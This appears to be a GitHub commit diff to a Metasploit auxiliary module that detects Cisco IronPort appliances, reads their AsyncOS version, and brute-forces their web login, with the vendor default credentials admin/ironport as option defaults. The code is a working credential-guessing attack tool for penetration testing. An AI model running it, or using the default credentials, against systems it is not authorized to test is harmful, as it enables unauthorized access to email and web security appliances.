Skip to content

Commit a65181d

Browse files
committed
new revision - cisco_ironport_enum
Added code to check successful conn first, so now if there is no connectivity on target port, script aborts run. New check to ensure 'set-cookie' is set by the app as expected, before any further fingerprinting & b-f starts. If the app is not Ironport, 'set-cookie' will not be set & remains null, and so script aborts run. De-registered 'TARGETURI.' Registered 'username' and 'password' with default value. Changed some run messages. And lastly, changed the csrf key piece cos I miss a cold beer right now.
1 parent ec36970 commit a65181d

File tree

1 file changed

+67
-58
lines changed

1 file changed

+67
-58
lines changed

modules/auxiliary/scanner/http/cisco_ironport_enum.rb

Lines changed: 67 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -32,80 +32,91 @@ def initialize(info={})
3232
register_options(
3333
[
3434
Opt::RPORT(443),
35-
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]),
36-
OptString.new('TARGETURI', [true, "URI for Web login. Default: /login", "/login"])
35+
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
36+
OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),
37+
OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])
3738
], self.class)
39+
40+
deregister_options('TARGETURI')
41+
3842
end
3943

4044
def run_host(ip)
45+
unless check_conn?
46+
print_error("#{rhost}:#{rport} - Connection failed, Aborting...")
47+
return
48+
end
49+
4150
unless is_app_ironport?
4251
print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.")
4352
return
4453
end
4554

46-
status = try_default_credential
47-
return if status == :abort
48-
49-
print_status("#{rhost}:#{rport} - Brute-forcing...")
55+
print_status("#{rhost}:#{rport} - Starting login brute force...")
5056
each_user_pass do |user, pass|
5157
do_login(user, pass)
5258
end
5359
end
5460

55-
#
56-
# What's the point of running this module if the app actually isn't Cisco Ironport?
57-
#
58-
59-
def is_app_ironport?
60-
res = send_request_cgi(
61-
{
62-
'uri' => '/',
63-
'method' => 'GET'
64-
})
65-
66-
if (res)
67-
cookie = res.headers['Set-Cookie'].split('; ')[0]
68-
end
69-
70-
res = send_request_cgi(
71-
{
72-
'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm",
73-
'method' => 'GET',
74-
'cookie' => '#{cookie}'
75-
})
76-
77-
if (res and res.body.include?('Cisco IronPort AsyncOS'))
78-
version_key = /Cisco IronPort AsyncOS (.+? )/
79-
version = res.body.scan(version_key).flatten[0].gsub('"','')
80-
product_key = /for (.*)</
81-
product = res.body.scan(product_key).flatten[0]
82-
83-
if (product == 'Security Management Appliances')
84-
p_name = 'Cisco IronPort Security Management Appliance (SMA)'
85-
print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")
86-
elsif ( product == 'Cisco IronPort Web Security Appliances' )
87-
p_name = 'Cisco IronPort Web Security Appliance (WSA)'
88-
print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")
89-
elsif ( product == 'Cisco IronPort Appliances' )
90-
p_name = 'Cisco IronPort Email Security Appliance (ESA)'
91-
print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")
92-
end
93-
94-
return true
95-
else
96-
return false
61+
def check_conn?
62+
begin
63+
res = send_request_cgi(
64+
{
65+
'uri' => '/',
66+
'method' => 'GET'
67+
})
68+
print_good("#{rhost}:#{rport} - Server is responsive...")
69+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
70+
return
9771
end
9872
end
9973

10074
#
101-
# Test and see if the default credential works
75+
# What's the point of running this module if the app actually isn't Cisco Ironport?
10276
#
10377

104-
def try_default_credential
105-
user = 'admin'
106-
pass = 'ironport'
107-
vprint_status("#{rhost}:#{rport} - Trying default login...")
108-
do_login(user, pass)
78+
def is_app_ironport?
79+
res = send_request_cgi(
80+
{
81+
'uri' => '/',
82+
'method' => 'GET'
83+
})
84+
85+
if (res and res.headers['Set-Cookie'])
86+
87+
cookie = res.headers['Set-Cookie'].split('; ')[0]
88+
89+
res = send_request_cgi(
90+
{
91+
'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm",
92+
'method' => 'GET',
93+
'cookie' => '#{cookie}'
94+
})
95+
96+
if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))
97+
version_key = /Cisco IronPort AsyncOS (.+? )/
98+
version = res.body.scan(version_key).flatten[0].gsub('"','')
99+
product_key = /for (.*)</
100+
product = res.body.scan(product_key).flatten[0]
101+
102+
if (product == 'Security Management Appliances')
103+
p_name = 'Cisco IronPort Security Management Appliance (SMA)'
104+
print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")
105+
elsif ( product == 'Cisco IronPort Web Security Appliances' )
106+
p_name = 'Cisco IronPort Web Security Appliance (WSA)'
107+
print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")
108+
elsif ( product == 'Cisco IronPort Appliances' )
109+
p_name = 'Cisco IronPort Email Security Appliance (ESA)'
110+
print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")
111+
end
112+
113+
return true
114+
else
115+
return false
116+
end
117+
else
118+
return false
119+
end
109120
end
110121

111122
#
@@ -117,9 +128,8 @@ def do_login(user, pass)
117128
begin
118129
res = send_request_cgi(
119130
{
120-
'uri' => '/login?CSRFKey=58ca8090-8fa1-4c07-9a87-65a7d4d4aa67',
131+
'uri' => '/login?CSRFKey=5PADuD3Z-10v3-b33R-5h0t-0n4h3R0cK555',
121132
'method' => 'POST',
122-
'cookie' => '#{cookie_1}',
123133
'vars_post' =>
124134
{
125135
'action' => 'Login',
@@ -136,7 +146,7 @@ def do_login(user, pass)
136146
report_hash = {
137147
:host => rhost,
138148
:port => rport,
139-
:sname => '#{p_name}',
149+
:sname => 'Cisco IronPort Appliance',
140150
:user => user,
141151
:pass => pass,
142152
:active => true,
@@ -155,5 +165,4 @@ def do_login(user, pass)
155165
return :abort
156166
end
157167
end
158-
159168
end

0 commit comments

Comments
 (0)